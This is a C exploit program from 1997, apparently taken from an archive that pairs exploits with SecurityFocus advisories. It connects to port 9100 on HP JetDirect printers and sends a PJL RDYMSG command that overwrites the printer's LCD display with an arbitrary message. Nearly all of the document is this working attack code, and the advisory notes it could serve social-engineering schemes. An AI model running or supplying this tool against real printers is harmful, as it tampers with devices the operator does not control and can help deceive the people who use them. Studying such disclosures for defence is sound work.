/*
source: https://www.securityfocus.com/bid/2245/info
Certain versions of HP JetDirect enabled printers provide a function (PJL command) that changes the LCD display on a printer over TCP/IP. Arbitrary strings can be sent to the LCD display by a remote user using this command. This represents more of a nuisance than a threat, although it is conceivable that the ability to modify the display could be used in some sort of "social engineering" scheme.
*/
/*
HP Printer Hack
12/8/97 sili@l0pht.com
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdio.h>
#define PORT 9100
int main (int argc, char *argv[]) {
int sockfd,len,bytes_sent; /* Sock FD */
struct hostent *host; /* info from gethostbyname */
struct sockaddr_in dest_addr; /* Host Address */
char line[100];
if (argc !=3) {
printf("HP Display Hack\n--sili@l0pht.com 12/8/97\n\n%s printer \"message\"\n",argv[0]);
printf("\tMessage can be up to 16 characters long\n");
exit(1);
}
if ( (host=gethostbyname(argv[1])) == NULL) {
perror("gethostbyname");
exit(1);
}
printf ("HP Display hack -- sili@l0pht.com\n");
printf ("Hostname: %s\n", argv[1]);
printf ("Message: %s\n",argv[2]);
/* Prepare dest_addr */
dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
dest_addr.sin_port= htons(PORT) ; /* PORT defined above */
/* Prepare dest_addr */
bcopy(host->h_addr, (char *) &dest_addr.sin_addr, host->h_length);
bzero(&(dest_addr.sin_zero), 8); /* Take care of sin_zero ??? */
/* Get socket */
/* printf ("Grabbing socket....\n"); */
if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
perror("socket");
exit(1);
}
/* Connect !*/
printf ("Connecting....\n");
if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
perror("connect");
exit(1);}
/* Preparing JPL Command */
strcpy(line,"\033%-12345X@PJL RDYMSG DISPLAY = \"");
strncat(line,argv[2],16);
strcat(line,"\"\r\n\033%-12345X\r\n");
/* Sending data! */
/* printf ("Sending Data...%d\n",strlen(line));*/
/* printf ("Line: %s\n",line); */
bytes_sent=send(sockfd,line,strlen(line),0);
printf("Sent %d bytes\n",bytes_sent);
close(sockfd);
}
